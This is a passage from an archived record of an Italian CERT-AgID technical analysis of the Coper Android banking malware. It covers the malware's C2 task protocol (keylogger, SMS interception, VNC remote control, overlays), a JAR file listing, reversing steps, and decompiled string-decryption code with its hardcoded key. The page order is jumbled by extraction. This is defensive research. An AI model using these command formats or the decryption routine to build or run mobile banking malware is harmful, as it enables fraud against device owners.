html oppure url\r\nicon Base64 con l’icona dell’inject\r\nFormato dei task\r\nOgni elemento dell’array è un oggetto JSON del tipo:\r\nid Id del task\r\ntask_type Tipo del task\r\ndata Parametri del task\r\nTipi di task e formato dei dati\r\nussd Numero da chiamare\r\nsms destinatario|messaggio. Se destinatario = “7 ” allora messaggio è un codice AutoTest.\r\nregister_again\r\nlock_on\r\nlock_off\r\nintercept_on\r\nvnc_start Comando VNC\r\nvnc_stop\r\npush Notifca con “titolo|testo|package da aprire”\r\nkill_bot\r\nstart_keylogger\r\nstop_keylogger\r\nuninstall_apps CSV app da disinstallare\r\nstart_fg\r\nstop_fg\r\nhttps://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/\r\nPage 25 of 26\n\nopen_url URL\r\ndisable_inject Package inject\r\nenable_inhect Package inject\r\nrun_app Package da lanciare\r\nFormato dei task VNC\r\nOgni elemento dell’array è un oggetto JSON con le seguenti proprietà:\r\ntype Tipo di task\r\ndata Parametri del task\r\nTipi di task VNC e loro dati\r\nclickat coordinate\r\ngesture coordinate (multiple)\r\nset_text testo\r\nlong_click coordinate\r\naction\r\nunlock_touch, quick_settings, lock_screen, swipe_up/down/right/left, back, home, power,\r\ntoggle_split_screen, take_screenshot, recents, notifications\r\nset_clip testo\r\npaste\r\nsend_pattern pattern\r\nscrool direzione di scrool\r\nIl formato del comando VNC\r\nIl comando è formato da un serie di stringhe separate da punto e virgola (;)\r\nSTREAM_SCREEN Invia screenshot al C2 ogni secondo\r\nSTRAM_LAYOUT Invia il layout (con testo) della finestra corrente al C2\r\nBLACK Mostra un overlay nero sullo schermo\r\nSILENT Disabilita suono e notifiche\r\nFormato delle shared preferences\r\nIl formato delle SharedPreferences segue molto quello delle risposte del C2. Ovviamente ci sono delle differenze: ad\r\nesempio ogni inject è salvato in una preferenza stringa di nome inj_XXX dove XXX è il package target dell’inject ed il valore\r\nstringa è la serializzazione dell’oggetto JSON dell’inject stesso.\r\nIl valore smart_injects contiene poi una lista CSV degli inject presenti. In modo simile vale per altre proprietà: gli SMS\r\ncatturati sono salvati in new_sms, che è un oggetto JSON indicizzato dal timestamp dell’SMS.\r\nSource: https://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/\r\nhttps://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/\r\nPage 26 of 26\n\nhttps://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/     \n1980-01-01 00:00:00 ..... 222 222 com/leadendq/p028m.class 1980-01-01 00:00:00 ..... 244 244 \ncom/leadendq/p032o.class 1980-01-01 00:00:00 ..... 240 240 com/leadendq/p036z.class 1980-01-01 00:00:00 .....\n2916 2916 com/leadendq/p038x.class  1980-01-01 00:00:00 ..... 459 459 com/leadendq/p041o.class  1980-01-01\n00:00:00 ..... 244 244 com/leadendq/p043c.class 1980-01-01 00:00:00 ..... 244 244 com/leadendq/p049d.class \n1980-01-01 00:00:00 ..... 222 222 com/leadendq/p055u.class 1980-01-01 00:00:00 ..... 1687 1687 \ncom/leadendq/p057h.class 1980-01-01 00:00:00 ..... 244 244 com/leadendq/p058q.class 1980-01-01 00:00:00 .....\n137 137 com/leadendq/p058z.class  1980-01-01 00:00:00 ..... 137 137 com/leadendq/p059z.class 1980-01-01 00:00:00\n..... 244 244 com/leadendq/p061e.class  1980-01-01 00:00:00 ..... 2268 2268 com/leadendq/p061p.class 1980-01-01\n00:00:00 ..... 2965 2965 com/leadendq/p064y.class 1980-01-01 00:00:00 ..... 137 137 com/leadendq/p077n.class \n1980-01-01 00:00:00 ..... 755 755 com/leadendq/p080g$fddo.class 1980-01-01 00:00:00 ..... 888 888\ncom/leadendq/p080g$ifdf.class 1980-01-01 00:00:00 ..... 2879 2879 com/leadendq/p080g.class 1980-01-01 00:00:00\n..... 141 141 com/leadendq/p081h$fddo.class  1980-01-01 00:00:00 ..... 139 139 com/leadendq/p081h$ifdf.class \n1980-01-01 00:00:00 ..... 13713 6215 com/leadendq/p081h.class 1980-01-01 00:00:00 ..... 461 461 \ncom/leadendq/p084n$fddo.class 1980-01-01 00:00:00 ..... 571 571 com/leadendq/p084n$ifdf.class  1980-01-01\n00:00:00 ..... 4490 4490 com/leadendq/p084n.class 1980-01-01 00:00:00 ..... 1562 1562 com/leadendq/p086c.class \n1980-01-01 00:00:00 ..... 222 222 com/leadendq/p092f.class 1980-01-01 00:00:00 ..... 2459 2459 \ncom/leadendq/p094v.class 1980-01-01 00:00:00 ..... 763 763 com/leadendq/p095g$fddo.class 1980-01-01 00:00:00\n..... 15805 8079 com/leadendq/p095g.class 1980-01-01 00:00:00 ..... 75 75 com/leadendq/p097d$fddo.class 1980-\n01-01 00:00:00 ..... 459 459 com/leadendq/p097d$for.class  1980-01-01 00:00:00 ..... 1489 1489 \ncom/leadendq/p097d$ifdf.class 1980-01-01 00:00:00 ..... 1831 1831 com/leadendq/p097d$new.class  1980-01-01\n00:00:00 ..... 7299 7299 com/leadendq/p097d.class 1980-01-01 00:00:00 ..... 1245 1245 fddo/break.class 1980-01-\n01 00:00:00 ..... 1697 1697 fddo/catch$fddo.class 1980-01-01 00:00:00 ..... 4219 4219 fddo/catch.class 1980-01-\n01 00:00:00 ..... 4577 4577 fddo/class.class 1980-01-01 00:00:00 ..... 566 566 fddo/const$fddo.class 1980-01-01\n00:00:00 ..... 935 935 fddo/const$for.class 1980-01-01 00:00:00 ..... 844 844 fddo/const$ifdf.class 1980-01-01\n00:00:00 ..... 573 573 fddo/const$new.class 1980-01-01 00:00:00 ..... 841 841 fddo/const$try.class 1980-01-01\n00:00:00 ..... 20911 10101 fddo/const.class 1980-01-01 00:00:00 ..... 9667 9667 fddo/fddo.class 1980-01-01\n00:00:00 ..... 2681 2681 fddo/final.class 1980-01-01 00:00:00 ..... 329127 92046 fddo/for.class 1980-01-01\n00:00:00 ..... 558 558 fddo/goto$fddo.class 1980-01-01 00:00:00 ..... 32946 15998 fddo/goto.class 1980-01-01\n00:00:00 ..... 6940 6940 fddo/ifdf.class 1980-01-01 00:00:00 ..... 2536 2536 fddo/new.class 1980-01-01 00:00:00\n..... 16671 8240 fddo/super.class 1980-01-01 00:00:00 ..... 362 362 fddo/this$fddo.class 1980-01-01 00:00:00\n..... 546 546 fddo/this$ifdf$fddo.class  1980-01-01 00:00:00 ..... 981 981 fddo/this$ifdf.class 1980-01-01\n00:00:00 ..... 21834 10298 fddo/this.class 1980-01-01 00:00:00 ..... 4037 4037 fddo/throw.class 1980-01-01\n00:00:00 ..... 3720 3720 fddo/try.class 1980-01-01 00:00:00 ..... 304 304 fddo/while.class 1980-01-01 00:00:00\n..... 4088 4088 fddo/case.class 1980-01-01 00:00:00 ..... 10975 4803 fddo/else.class ------------------- -----\n------------------------ ------------------------  1980-01-01 00:00:00 570582 264380 71 files \nInoltre, i metodi ed i campi delle classi hanno nomi che sono riutilizzati varie volte. Possiamo ora rinominare e decompilare\nil file JAR:     \n$ ./jrename coper.jar $ jadx-d res1 coper_renamed.jar   \nOtteniamo così un file jar (coper_renamed.jar) e dei sorgenti su cui possiamo lavorare.  \nPreparazione al reversing: decifrare le stringhe   \nIl renaming ha permesso di ottenere codice con nomi univoci (e a codice prefisso) per ogni entità ed è quindi facile\nrinominare classi e metodi via via che si procede al reversing.   \nDando un’occhiata al codice però possiamo osservare spezzoni tipo questo:  \nLog.d(\"\u003e\u003ep025p\", \"all perms have been given, next check in 10 min\"); Class67a.method242a(applicationContext,  \n\"perms_check_delay\", 600); if (Class67a.method247a(applicationContext,    \nClass45a.method67a(\"47e69dd09da9d2c046\"),  \"\").equals(\"perms\")) { Class67a.method248a(applicationContext,  \nClass45a.method67a(\"47e69dd09da9d2c046\"),  \"\"); }   \nI metodi hanno nomi sequenziali ma si notano chiamate a Class45a.method67a con stringhe esadecimali. Questo ci spinge\na pensare che probabilmente si tratta di una funzione di decifratura delle stringhe. La classe Class45a si presenta così:\npackage fddo; public class Class45a { private int[] field62a; private int field63a = 0; private int field64a =\n0; public Class45a(byte[] bArr) { this.field62a = method65a(bArr); } private int[] method65a(byte[] bArr) {\nint[] iArr = new int[256]; for (int i = 0; i \u003c 256; i++) { iArr[i] = i; } int i2 = 0; for (int i3 = 0; i3 \u003c\n256; i3++) { i2 = (((i2 + iArr[i3]) + bArr[i3 % bArr.length]) + 256) % 256; method66a(i3, i2, iArr); } return\niArr; } private void method66a(int i, int i2, int[] iArr) { int i3 = iArr[i]; iArr[i] = iArr[i2]; iArr[i2] =\ni3; } public static String method67a(String str) { return new  \nClass45a(\"FqCpR3UIB7Eelm7akFJ\".getBytes()).method69a(str);   } public static String method68a(String str) {\nreturn str; } public String method69a(String str) { return method70a(method71a(str)); } public String\nmethod70a(byte[] bArr) { byte[] bArr2 = new byte[bArr.length]; for (int i = 0; i \u003c bArr.length; i++) { int i2 =\n  Page 11 of 26",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/"
	],
	"report_names": [
		"analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili"
	],
	"threat_actors": [],
	"ts_created_at": 1775438959,
	"ts_updated_at": 1775791332,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/36503fa30549c1922f729f54a067be2fa202a5b8.pdf",
		"text": "https://archive.orkl.eu/36503fa30549c1922f729f54a067be2fa202a5b8.txt",
		"img": "https://archive.orkl.eu/36503fa30549c1922f729f54a067be2fa202a5b8.jpg"
	}
}